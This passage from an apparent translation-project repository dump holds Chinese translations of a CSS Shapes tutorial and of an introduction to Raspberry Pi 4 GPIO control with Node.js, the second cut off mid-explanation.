    "content": "> * 原文地址：[An Introduction to CSS Shapes](https://tympanus.net/codrops/2018/11/29/an-introduction-to-css-shapes/)\n> * 原文作者：[Tania Rascia](https://tympanus.net/codrops/author/taniarascia/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-introduction-to-css-shapes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-introduction-to-css-shapes.md)\n> * 译者：[xilihuasi](https://github.com/xilihuasi)\n> * 校对者：[ElizurHz](https://github.com/ElizurHz), [Moonliujk](https://github.com/Moonliujk)\n\n# CSS Shapes 简介\n\nCSS Shapes 允许我们通过定义文本内容可以环绕的几何形状、图像和渐变，来创建有趣且独特的布局。本次教程会教你如何使用它们。\n\n![cssshapes_featured](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_featured-1.jpg)\n\n在 [CSS Shapes](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes) 问世之前，为网页设计文本自由环绕的杂志式布局几乎是不可能的。相反，网页设计布局传统上一直用网格、盒子和直线构造。\n\nCSS Shapes 允许我们定义文本环绕的几何形状。这些形状可以是圆、椭圆、简单或复杂的多边形，甚至图像和渐变。Shapes 的一些实际设计应用可能是圆形头像周围显示圆形环绕文本，全屏背景图片的简单部位上面展示文本，以及在文章中显示首字下沉。\n\n现在 CSS Shapes 已经获得了现代浏览器的广泛支持，值得一看的是它们提供的灵活性和功能，以确定它们在你的下一个设计项目中是否有意义。\n\n> **注意**：截至攥写本文时，[CSS Shapes](https://caniuse.com/#feat=css-shapes) 支持 Firefox、Chrome、Safari 和 Opera，以及 iOS Safari 和 Chrome for Android 等移动浏览器。Shapes 不支持 IE，对 Microsoft Edge 的支持[正在考虑中](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/shapes/)。\n\n## CSS Shapes 初探\n\nCSS Shapes 的当前实现是 [CSS Shapes Module Level 1](https://drafts.csswg.org/css-shapes/)，它主要包含 `[shape-outside](https://tympanus.net/codrops/css_reference/shape-outside/)` 属性。`shape-outside` 定义了文本环绕的形状。\n\n考虑到有 `shape-outside` 属性，你可能会想到还有一个相应的 `shape-inside` 属性，它包含形状内的文本。`shape-inside` 属性可能会在将来实现，目前它只是 [CSS Shapes Module Level 2](https://drafts.csswg.org/css-shapes-2/)里面的一个草案，并没有被任何浏览器实现。\n\n在本文中，我们将演示如何使用 [<basic-shape>](https://tympanus.net/codrops/css_reference/basic-shape/) 数据类型，并使用形状函数值设置它，以及使用半透明 URL 或渐变设置形状。\n\n## 基本的形状函数\n\n我们可以通过将下列函数值应用于 `shape-outside` 属性来定义 CSS 中的各种基本形状：\n\n*   `circle()`\n*   `ellipse()`\n*   `inset()`\n*   `polygon()`\n\n要给元素设定 `shape-outside` 属性，该元素必须是浮动的并且已设定宽高。让我们逐个来看四个基本形状，并演示它们的使用方法。\n\n### 圆\n\n我们将从 `circle()` 函数开始。设想如下场景，有一个圆形的作者头像，我们想让头像左浮动并且作者的描述文本环绕它。仅对头像元素使用 `border-radius: 50%` 不足以使文本呈圆形；文本仍将把头像当成矩形元素。\n\n通过圆形，我们可以演示文本如何按圆形环绕。\n\n首先我们在一个普通的 `div` 上创建 `circle` 样式，并且写几段文字。（我使用 Bob Ross 语录作为 Lorem Ipsum 文本。）\n\n```\n<div class=\"circle\"></div>\n<p>Example text...</p>\n```\n\n在 `circle` 样式中，我们设置元素左浮动，设定等值的 `height` 和 `width`，并且设置 `shape-outside` 为 `circle()`。\n\n```\n.circle {\n  float: left;\n  height: 200px;\n  width: 200px;\n  shape-outside: circle();\n}\n```\n\n如果我们访问页面，会看到如下场景。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_circle1.jpg)\n\n如你所见，文本围绕圆形环绕，但是我们并没有看到任何形状。使用开发工具审查元素，我们可以看到已经设置好的实际形状。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_circle2.jpg)\n\n此时，你可能会认为，给元素 `background` 设置颜色或者图片就能看到形状了。我们来试一下。\n\n```\n.circle {\n  float: left;\n  height: 200px;\n  width: 200px;\n  shape-outside: circle();\n  background: linear-gradient(to top right, #FDB171, #FD987D);\n}\n```\n\n不幸的是，给 `circle` 设置 `background` 后会显示一个矩形，这是我们一直试图避免的事情。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_circle3.jpg)\n\n我们可以清晰地看到文本在它周围环绕，但元素本身没有形状。如果我们想要真实地显示形状函数，需要使用 [`clip-path`](https://tympanus.net/codrops/css_reference/clip-path/) 属性。`clip-path` 采用许多和 `shape-outside` 相同的值，因此我们可以给它同样的 `circle()` 值。\n\n```\n.circle {\n  float: left;\n  height: 200px;\n  width: 200px;\n  shape-outside: circle();\n  clip-path: circle();\n  background: linear-gradient(to top right, #FDB171, #FD987D);\n}\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_circle4.jpg)\n\n> 在本文剩下的部分，我将使用 `clip-path` 帮助我们辨认形状。\n\n`circle()` 函数接收可选的 radius 参数。在本例中，默认 radius 是 `50%` 或者 `100px`。使用 `circle(50%)` 或者 `circle(100px)` 都将产生和我们已经完成样例的同样结果。\n\n你可能注意到文本刚好和形状贴合。我们可以使用 [`shape-margin`](https://tympanus.net/codrops/css_reference/shape-margin/) 属性给形状添加 margin，单位可以是 `px`、`em`、`%` 和其他标准的 CSS 测量单位。\n\n```\n.circle {\n  float: left;\n  height: 200px;\n  width: 200px;\n  shape-outside: circle(25%);\n  shape-margin: 1rem;\n  clip-path: circle(25%);\n  background: linear-gradient(to top right, #FDB171, #FD987D);\n}\n```\n\n这里有个 `circle` radius 设置 `25%` 并且使用 `shape-margin` 的例子。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_circle5.jpg)\n\n除了 radius，形状函数可以使用 `at` 定位。默认位置是圆心，因此 `circle()` 也可以被显式设置为 `circle(50% at 50% 50%)` 或 `circle(100px at 100px 100px)`，两个值分别是水平和垂直位置。\n\n为了搞清楚 position 的作用，我们可以设置水平位置值为 `0` 来创造一个完美的半圆。\n\n```\ncircle(50% at 0 50%);\n```\n\n该坐标定位系统称为引用框。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_circle6.jpg)\n\n稍后，我们将学习如何使用图像代替形状或者渐变。现在，我们将继续进行下一个形状函数。\n\n### 椭圆\n\n`ellipse()` 和 `circle()` 函数类似，只是它会创造椭圆。为了演示，我们创建一个 `ellipse` 元素和样式。\n\n```\n<div class=\"ellipse\"></div>\n<p>Example text...</p>\n```\n\n```\n.ellipse {\n  float: left;\n  shape-outside: ellipse();\n  clip-path: ellipse();\n  width: 150px;\n  height: 300px;\n  background: linear-gradient(to top right, #F17BB7, #AD84E3);\n}\n```\n\n这次，我们设置不同的 `height` 和 `width` 创建一个垂直拉长的椭圆。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_ellipse1.jpg)\n\n`ellipse()` 和 `circle()` 的区别在于椭圆有两个半径 —— `_r_x` 和 `_r_y`，或者 X 轴半径和 Y 轴半径。因此，上面的例子也可以写成：\n\n```\nellipse(75px 150px);\n```\n\ncircles 和 ellipses 的位置参数是一样的。除了是测量单位，半径也包括 `farthest-side` 和 `closest-side` 的选项。\n\n`closest-side` 代表引用框的中心到最近侧的长度，相反，`farthest-side` 代表引用框中心到最远侧的长度。这意味着如果未设置默认值以外的位置，则这两个值无效。\n\n这里演示了在 `ellipse()` 上翻转 `closest-side` 和 `farthest-side` 的区别，它的 X 和 Y 轴的偏移量是 `25%`。\n\n```\nellipse(farthest-side closest-side at 25% 25%)\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_ellipse2.jpg)\n\n```\nellipse(farthest-side closest-side at 25% 25%)\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_ellipse3.jpg)\n\n### 内嵌\n\n目前为止我们只处理了圆形，但是我们可以使用 `inset()` 函数定义内嵌矩形。\n\n```\n<div class=\"inset\"></div>\n<p>Example text...</p>\n```\n\n```\n.inset {\n  float: left;\n  shape-outside: inset(75px);\n  clip-path: inset(75px);\n  width: 300px;\n  height: 300px;\n  background: linear-gradient(#58C2ED, #1B85DC);\n}\n```\n\n在本例中，我们创造了一个 `300px` 的正方形，每条边内嵌 `75px`。这将给我们留下 `150px` 周围有 `75px` 空间。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_inset1.jpg)\n\n我们可以看到矩形是内嵌的，文本忽略了内嵌区域。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_inset2.jpg)\n\n`inset()` 形状也可以使用 `round` 参数接收 `border-radius`，并且文本会识别圆角，就像本例中所有边都是 `25px` 内嵌和 `75px` 圆角。\n\n```\ninset(25px round 75px)\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_inset3.jpg)\n\n像 `padding` 或 `margin` 简写，inset 值以顺时针方式（`inset(25px 25px 25px 25px)`）接收 `top` `right` `bottom` `left`，并且只传一个值将使四条边都相同（`inset(25px)`）。\n\n### 多边形\n\n形状函数最有趣和灵活的是 `polygon()`，它可以采用一系列 `x` 和 `y` 点来制作任何复杂形状。数组里的每个元素代表 _x_i _y_i，将被写成 `polygon(x1 y1, x2 y2, x3 y3...)` 等等。\n\n我们可以为多边形设置的点集数量最少为 3，这将创建一个三角形。\n\n```\n<div class=\"polygon\"></div>\n<p>Example text...</p>\n```\n\n```\n.polygon {\n  float: left;\n  shape-outside: polygon(0 0, 0 300px, 200px 300px);\n  clip-path: polygon(0 0, 0 300px, 200px 300px);\n  height: 300px;\n  width: 300px;\n  background: linear-gradient(to top right, #86F7CC, #67D7F5);\n}\n```\n\n在这个形状中，第一个点是 `0 0`，`div` 中最左上角的点。第二个点是 `0 300px`，它是 `div` 中最左下角的点。第三个也就是最后一个点是 `200px 300px`，它在 X 轴的 2/3 处并且也在底部。最终的形状是这样：\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_polygon1.jpg)\n\n`polygon()` 形状函数的一个有趣用法是文本内容可以在两个或以上形状中环绕。因为 `polygon()` 形状是如此灵活和动态，这给我们制作真正独特的杂志式布局提供了一个最好机会。在本例中，我们将把文本放在两个多边形中。\n\n```\n<div class=\"left\"></div>\n<div class=\"right\"></div>\n<p>Example text...</p>\n```\n\n```\n.left {\n  float: left;\n  shape-outside: polygon(0 0, 0 300px, 200px 300px);\n  clip-path: polygon(0 0, 0 300px, 200px 300px);\n  background: linear-gradient(to top right, #67D7F5, #86F7CC);\n  height: 300px;\n  width: 300px;\n}\n\n.right {\n  float: right;\n  shape-outside: polygon(200px 300px, 300px 300px, 300px 0, 0 0);\n  clip-path: polygon(200px 300px, 300px 300px, 300px 0, 0 0);\n  background: linear-gradient(to bottom left, #67D7F5, #86F7CC);\n  height: 300px;\n  width: 300px;\n}\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_polygon2.jpg)\n\n显然，想要手动创造你自己的复杂形状是非常困难的。幸运的是，你可以用一些工具来创建多边形。Firefox 有一个内置的形状编辑器，你可以在 Inspector 中通过点击多边形使用。\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_polygon3.jpg)\n\n目前，Chrome 有一些你可以使用的扩展程序，比如 [CSS Shapes Editor](https://chrome.google.com/webstore/detail/css-shapes-editor/nenndldnbcncjmeacmnondmkkfedmgmp?hl=en-US)。\n\n多边形可以用来剪切图像或其他元素周围的形状。在另一个例子中，我们可以通过在大字母周围绘制多边形来创建首字下沉。\n\n```\n<div class=\"letter\">R</div>\n<p>Example text...</p>\n```\n\n```\n.letter {\n  float: left;\n  font-size: 400px;\n  font-family: Georgia;\n  line-height: .8;\n  margin-top: 20px;\n  margin-right: 20px;\n  shape-outside: polygon(5px 14px, 233px 20px, 246px 133px, 189px 167px, 308px 304px, 0px 306px) content-box;\n  clip-path: polygon(5px 14px, 233px 20px, 246px 133px, 189px 167px, 308px 304px, 0px 306px);\n}\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_polygon4.jpg)\n\n## URLs\n\nCSS Shapes 一个令人激动的特性是你不必每次都通过形状函数明确定义；你也可以使用半透明图像的 url 来定义形状，这样文本就会自动环绕它。\n\n重要的是要注意图像使用必须要兼容 [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)，否则你将会遇到如下错误。\n\n```\nAccess to image at 'file:///users/tania/star.png' from origin 'null' \nhas been blocked by CORS policy: The response is invalid.\n```\n\n在同一个服务器上提供图像将会保证你不会遇到上面的错误。\n\n与其他例子不同，我们将使用 `img` 代替 `div`。这次的 CSS 很简单——只用把 `url()` 放进 `shape-outside` 属性，就像 `background-image` 一样。\n\n```\n<img src=\"./star.png\" class=\"star\">\n<p>Example text...</p>\n```\n\n```\n.star {\n  float: left;\n  height: 350px;\n  width: 350px;\n  shape-outside: url('./star.png')\n}\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_image1.jpg)\n\n因为我使用了透明背景的星星图像，文本知道哪些区域是透明的哪些是不透明的，并进行自适应布局。\n\n## 渐变\n\n最后，渐变也可以用来当成形状。渐变和图像一样，就像我们上面用到的图像例子，文本也将知道在透明部分环绕。\n\n我们将使用渐变的一个新属性 —— [`shape-image-threshold`](https://tympanus.net/codrops/css_reference/shape-image-threshold/)。`shape-image-threshold` 定义形状的 alpha 通道阈值，或者图像透明的百分比值。\n\n我们将制作一个渐变例子，它是 50％/50％ 的颜色和透明分割，并且设置 `shape-image-threshold` 为 `.5`，意味着超过 50％ 不透明的所有像素都应被视为图像的一部分。\n\n```\n<div class=\"gradient\"></div>\n<p>Example text...</p>\n```\n\n```\n.gradient {\n  float: left;\n  height: 300px;\n  width: 100%;\n  background: linear-gradient(to bottom right, #86F7CC, transparent);\n  shape-outside: linear-gradient(to bottom right, #86F7CC, transparent);\n  shape-image-threshold: .5;\n}\n```\n\n![](https://codropspz-tympanus.netdna-ssl.com/codrops/wp-content/uploads/2018/11/cssshapes_gradient1.jpg)\n\n我们可以看到渐变在不透明和透明的中心对角线完美分割。\n\n## 结论\n\n在本文中，我们学习了 CSS Shapes 的三个属性 `shape-outside`、`shape-margin` 和 `shape-image-threshold`。我们也了解到如何使用函数值创建可供文本环绕的圆、椭圆、内嵌矩形以及复杂的多边形，并且演示了形状如何检测图像和渐变的透明部分。\n\n**你可以在如下 [demo](http://tympanus.net/Tutorials/CSSShapes/) 中找到本文中用到的所有例子，也可以[下载源文件](http://tympanus.net/Tutorials/CSSShapes/CSSShapes.zip)。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-introduction-to-raspberry-pi-4-gpio-and-controlling-it-with-node-js.md",
    "content": "> * 原文地址：[An introduction to Raspberry Pi 4 GPIO and controlling it with Node.js](https://itnext.io/an-introduction-to-raspberry-pi-4-gpio-and-controlling-it-with-node-js-10f2ce41af12)\n> * 原文作者：[Uday Hiwarale](https://medium.com/@thatisuday)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-introduction-to-raspberry-pi-4-gpio-and-controlling-it-with-node-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-introduction-to-raspberry-pi-4-gpio-and-controlling-it-with-node-js.md)\n> * 译者：[Weirdochr](https://github.com/Weirdochr), [lsvih](https://github.com/lsvih)\n> * 校对者：[xionglong58](https://github.com/xionglong58)\n\n# 树莓派 4 GPIO 简介及使用 Node.js 控制树莓派\n\n> 树莓派 + NODE.JS  \n> 通过本文，我们将熟悉树莓派 GPIO 及其技术规范。并且，我们将通过了一个简单例子，说明如何使用树莓派的 I/O 控制 LED 和开关。\n\n![(文章来源：[**pexels.com**](https://www.pexels.com/photo/have-a-break-led-signage-2249342/))](https://cdn-images-1.medium.com/max/12000/1*t-dr_5CrKf45RE0Uuww2sg.jpeg)\n\n你可能见过 “**IoT**” 这个术语，它是 **Internet of Things（物联网）** 的缩写。意思是，人们可以通过互联网控制一台设备（即“物” **thing**）。比如，用手机控制你房间内的智能电灯泡就是一种物联网的应用。\n\n由于物联网设备可通过互联网控制，所以 IoT 设备需要始终与互联网相连。我们主要有两种方式将设备连接至互联网：以太网网线和 WiFi。\n\n物联网设备可被用于各种目的。例如，你可以使用物联网来控制你家的室内温度、照明或者在回家前打开某些设备，所有这些操作都只需要通过你的手机便能实现。\n\n那么，物联网设备的技术规范有哪些？简言之，它应该包含连接到互联网的工具，有一些输入和输出接口来读写设备的模拟或数字信号，并且使用最少的硬件来读取和执行程序指令。\n\n一个物联网设备配有一个硬件组件，为外部设备读取数字数据和取电提供接口。该接口就是 **GPIO** 或称作 **General Purpose Input Output（通用输入输出接口）** 。这种硬件组件基本上都是由一系列可以连接到外部设备的引脚（或管脚，pin）构成。\n\n这些 GPIO 引脚可以被程序控制。比如，在满足一些条件的情况下，我们可以给一个 GPIO 引脚施以 5V 的电压，任何连接到该引脚的设备都会被开启。程序也能够监听来自互联网的信号，并根据该信号对 GPIO 引脚进行控制。这就是物联网。\n\n从头开始构建这样一个物联网设备可能很困难，因为需要处理的组件有很多。幸运的是，我们可以购买售价低廉的现成的设备。这些设备配有 GPIO 硬件和连接互联网的工具。\n\n#### Arduino 微控制器\n\n目前，如果我们想要实现简单的自动化，那么 [**Arduino**](https://en.wikipedia.org/wiki/Arduino) 是最好的选择。它是一个 **微控制器（micro-controller）** ，可以用 C 和 C++ 这样的编程语言来编写 Arduino 程序。\n\n![(来源：[**Wikipedia**](https://en.wikipedia.org/wiki/File:Arduino_Uno_-_R3.jpg))](https://cdn-images-1.medium.com/max/2000/1*-Tmb_Q7yYmmtFGaUk6iv4A.jpeg)\n\n然而，该控制器不配有内置 WiFi 或以太网插孔，并且必须连接外部外围设备（即**屏蔽**）才能将 Arduino 连接到互联网。\n\nArduino 旨在充当外部设备的控制器，而不是成熟的物联网设备。因此，该控制器价格非常便宜，某些最新款的售价可以低至 18 美元。\n\n#### 树莓派微型电脑\n\n相较于 Arduino，[**树莓派**](https://en.wikipedia.org/wiki/Raspberry_Pi) 更像是一只**野兽**。其发明之初的目的就是为了促进基础计算机科学教学在学校和发展中国家的进步。但它现在却被书呆子和业余爱好者们捡起来创造各种各样的小玩意儿。目前，它是世界上最受欢迎的**单板计算机**之一。\n\n树莓派（**最新版 4B**）配有以太网连接器、WiFi、蓝牙、HDMI 输出、USB 连接器、 40 个 GPIO 引脚和其他基本功能。它由 **ARM** CPU、 **博通** GPU 和 1/2/4 GB 的 **RAM** 驱动。你可以在[**此维基百科**](https://en.wikipedia.org/wiki/Raspberry_Pi#Specifications)的表格中查看这些规范。\n\n![(来源：[**Wikipedia**](https://en.wikipedia.org/wiki/File:Raspberry_Pi_4_Model_B_-_Side.jpg))](https://cdn-images-1.medium.com/max/2000/1*WE-9WUau6aQlMSHVLjq9KQ.jpeg)\n\n尽管树莓派的硬件很丰富，但它最新版的售价也仅在 \\$40 到 \\$80 间。别忘了，这可是一台拥有原生操作系统的成熟计算机。这意味着我们不需要连接外部计算机就能对其进行编程。\n\n与我们日常使用的电脑不同，树莓派提供了一个 GPIO 硬件组件来控制外部设备。这使得树莓派成为了一种几乎可以做任何事情的设备。\n\n让我们了解一下新版树莓派 GPIO 的技术规格。\n\n---\n\n## 树莓派 - GPIO 引脚分配\n\n树莓派（**4B 版**）总共 **40 个 GPIO 引脚**，分布在 `20 x 2` 的阵列当中。如下图所示，每个引脚都有特定的用途。\n\n![(来源：[**raspberrypi.org**](https://www.raspberrypi.org/documentation/usage/gpio/))](https://cdn-images-1.medium.com/max/4128/0*VsaGvGskvJa20hZa.png)\n\n在讨论每个引脚的功能之前，让我们先了解一些协议。每个引脚都有特定的编号，我们就是通过这些编号从软件中控制这些引脚。\n\n在圆圈中，你可以看到的数字是 GPIO 硬件上的物理引脚编号。例如：**1 号引脚** 提供 3.3V 的恒定电压。该编号系统称为 **Board pin** 或**物理引脚**编号系统。\n\n由于树莓派 4B 使用 [**BCM2711**](https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2711/README.md) 处理器芯片，因此，我们还有另一个由[**博通**](https://en.wikipedia.org/wiki/Broadcom_Inc.)创建的引脚编号系统。此系统被称为 **BCM** 或 **博通模式**。上图中，每个引脚附带的标签都显示了 BCM 引脚编号。例如：物理 **7 号引脚**是 **BCM 7 号引脚**并被标记为 **GPIO 4**。\n\n我们既可以选择遵循 **Board pin** 编码，也可以用 **BCM** 编码系统。然而，由于我们用 GPIO 编程库的原因，同时使用该两种编码系统可能会遇到问题。大多数库都偏好于 BCM 编号系统，因为它引用于博通 CPU 芯片。\n\n> 从现在开始，如果文中出现 **x 号引脚**，就意味着这是引脚板上的**物理引脚编号**。如果提到了 BCM，则意味着我们在使用 BCM 引脚编号。\n\n#### 💡 电源引脚和引脚分组\n\n**1 号**和 **17 号**引脚提供 **3.3V** 电源，而 **2 号**和 **4 号**引脚提供 **5V** 电源。当你打开树莓派时，这些引脚便会提供**恒定功率**，并且无论在何种条件下，这几个引脚都是**不可编程的**。\n\n**6 号**、 **9 号**、 **14 号**、 **20 号**、 **25 号**、 **30 号**、 **34 号**和 **39 号**引脚支持接地。它们应该与电路的**阴极**相连。电路中所有的接地连接都可以用同一个接地引脚，因为它们都连接到同一根地线。\n\n> 如果你想知道为什么有这么多接地引脚，可以查看[**这个帖子**](https://www.raspberrypi.org/forums/viewtopic.php?t=132851)。\n\n#### 🔌 GPIO 引脚\n\n除了**电源**和**接地**引脚外，其他引脚均为通用输入和输出引脚。当 GPIO 引脚用于**输出模式**时，它在开启时提供 3.3V 恒定功率。\n\n在**输入模式**下，GPIO 引脚也可用于监听外部电源。从技术上看，当用 **3.3V** 电压供给处于输入模式的 GPIO 引脚时，该引脚将被读取为**逻辑高电平**或 **1**。当引脚接地或提供 **0V** 功率时，它会被读作**逻辑低电平**或 **0**。\n\n而**输出模式**更加简单。在输出模式下，我们接通一个引脚，设备会通过该引脚提供 3.3V 的电压。而在引脚的输入端，我们需要监听引脚上的电压变化，当引脚处于逻辑高电平或低电平时，我们可以执行其他操作，如打开一个输出 GPIO 引脚。\n\n#### 🧙‍♀️ SPI、 I²C 和 UART 协议\n\nSPI（[**Serial Peripheral Interface (串行外设接口)**](https://en.wikipedia.org/wiki/Serial_Peripheral_Interface)）是一种同步串行通信接口，设备可以使用它来实现相互间的通信。此接口需要 3 条或更多数据线将主设备连接到（**一个或多个**）从设备。\n\nI²C（[**Inter-Integrated Circuit (内置集成电路)**](http://C)）类似于 SPI，但它支持多个主设备。此外，与 SPI 不同，它只需要两条数据线来容纳多个从机。不过这会让 I²C 比 SPI 慢。\n\nUART（[Universal asynchronous receiver-transmitter (通用异步收发传输器)](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter)）也是一个串行通信接口，但数据是[**异步**](https://en.wikipedia.org/wiki/Asynchronous_serial_communication)发送的。\n\n树莓派提供了一个底层接口用于通过 GPIO 引脚就像我们前文讨论过的输入输出模式一样启用这些接口。然而，并非所有的 GPIO 引脚都可以实现这些通信方式。\n\n在下图中，你可以看到哪些 GPIO 针脚是可以通过 SPI、I²C 和 UART 协议进行配置的。你可以访问 **[pinout.xyz](https://pinout.xyz/)**，这个网页提供了一个交互界面供用户查看每个 GPIO 引脚的功能。\n\n![(来源：[**pinout.xyz**](https://pinout.xyz/))](https://cdn-images-1.medium.com/max/2000/1*mpKa3QDHL6G5CmjmMWX3UQ.png)\n\n除了简单的输入或输出模式，GPIO 引脚有 **6 种模式**，但每次只能在一种模式下工作。当你在上面那个网页中点击 GPIO 引脚时，你可以在屏幕右侧看到它的工作模式。右表中的 ALT0 至 ALT5 描述了这些模式。\n\n> 你还可以通过[**这个视频**](https://www.youtube.com/watch?v=IyGwvGzrqp8)来了解这些通信协议的规范。在本教程中，我们不会涉及这些通信协议，但是，我将在接下来的文章中讨论相关主题。\n\n#### ⚡ 现行规范\n\n我们已经讨论过电源和 GPIO 引脚的电压规格。因为树莓派官方文件中未曾提及具体规范，所以现行规范还不太明确。\n\n不过可以确定的是，我们在处理电流时，必须要遵循安全措施：从任何引脚获取的最大电流应小于或等于 **16mA**。因此，我们必须调整负载以满足这一要求。\n\n如果我们已经将多个设备连接到树莓派 GPIO 和其他端口（如 USB），那么我们必须确保从电路获取的最大电流小于 **50mA**。\n\n为了限制电流，我们可以在电路中增加电阻，使得最大电流不会超过这些限制。当一个设备需要的电流比树莓派的最大限制还要大时，应当使用继电器开关。\n\n**输入**模式使用的也是相同的规范。当 GPIO 引脚被用作**漏极**（**而非** 源 **电流**）时，我们不应该供应超过 **16mA** 的电流。此外，当多个 GPIO 引脚用作输入时，总共不应施加超过 **50mA** 的电流。\n\n---\n\n## 前提条件\n\n我相信你已经走过一遍树莓派的设置流程。这意味着你已经安装了一个 [**Raspbian**](https://www.raspberrypi.org/downloads/raspbian/) 之类的或是你个人偏好的操作系统，并且可以通过 SSH 或 HDMI 访问它。\n\n我们需要做的第一件事就是创建项目目录。我已经在 `/home/pi/Programs/io-examples` 这个路径下创建了项目目录，我们所有的程序都将作为教程示例保存在该路径下。\n\n由于我们想通过 Node.js 来控制 GPIO 引脚，首先我们必须安装 Node。你可以选择你最喜欢的方法，但我个人会使用 **[NVM](https://github.com/nvm-sh/nvm)**（Node 版本管理器）来安装。你可以遵循[**该建议步骤**](https://github.com/nvm-sh/nvm#install--update-script)安装 NVM。\n\n一旦装好了 NVM，我们就可以安装特定版本的 Node。我将使用 Node v12，因为它是最新的稳定版本。要安装 Node v12，请输入以下命令行：\n\n```bash\nnvm install 12\nnvm use 12\n```\n\n一旦树莓派安装了 Node.js，我们就可以继续创建项目了。因为我们想要控制 GPIO 引脚，所以我们需要一个库来为我们提供一个简单的应用编程接口。\n\n[**onoff**](https://www.npmjs.com/package/onoff) 是一个知名的用树莓派控制 GPIO 的库。首先，在项目目录中创建 package.json，然后安装 `onoff` 包。\n\n```bash\ncd /home/pi/Programs/io-examples\nnpm init -y\nnpm i -S onoff\n```\n\n现在一切准备就绪，我们可以开始电路设计并编写第一个程序来测试 GPIO 的能力。\n\n---\n\n## LED 输出示例\n\n在本例中，我们将以编程方式打开红色 LED。让我们先看看下面的电路图：\n\n![(简单 LED 输出)](https://cdn-images-1.medium.com/max/3126/1*aarORNzRCTnQlSL-F6pe5Q.png)\n\n从上图可以看出，我们已经将 **6 号引脚**（**接地引脚**）连接到了线路板的负极（**地线**）上，并将 **BCM 4** 连接到了 **1k ohm** 电阻的一端。电阻器的另一端连接到红色 LED 的输入端上，LED 的输出端接地。\n\n除了有个电阻，这个电路没什么特别的。需要这个额外的电阻是因为红色 LED 在 **2.4V** 电压下工作，而提供 **3.3V** 电压的 GPIO 会损坏 LED。此外，LED 采用的 **20mA** 超过了树莓派的安全阈值，因此，也需要这个电阻来防止电流过大。\n\n> 我们可以选择 330 ohms 到 1k ohms 的电阻。这个数值范围的电阻会影响电流大小，但都不会损坏 LED。\n\n从上述电路来看，电路中唯一的变量是 BCM 4 引脚输出。如果引脚打开（**3.3V**），电路将闭合，LED 将发光。如果引脚关闭（**0V**），电路断开，LED 不会发光。\n\n让我们编写一个程序，实现以编程方式打开 BCM 4 引脚。\n\n```JavaScript\nconst { Gpio } = require( 'onoff' );\n\n// set BCM 4 pin as 'output'\nconst ledOut = new Gpio( '4', 'out' );\n\n// current LED state\nlet isLedOn = false;\n\n// run a infinite interval\nsetInterval( () => {\n  ledOut.writeSync( isLedOn ? 0 : 1 ); // provide 1 or 0 \n  isLedOn = !isLedOn; // toggle state\n}, 3000 ); // 3s\n```\n\n在上述程序中， 我们导入 `onoff` 包并引入 `Gpio` 构造函数。用设定好的配置创建 `Gpio` 类来配置一个 GPIO。上面的例子中，我们将 **BCM 4** 设置成了**输出模式**。\n\n> 你可以参考该 `onoff` 模块的 [**API 文档**](https://github.com/fivdi/onoff#api)来了解各种配置选项和 API。\n\n`Gpio` 类创建的实例提供了与该引脚交互的高阶 API。`writeSync` 方法会将 **1** 或 **0** 写入引脚，以实现开启或关闭引脚。当引脚设为 **1** 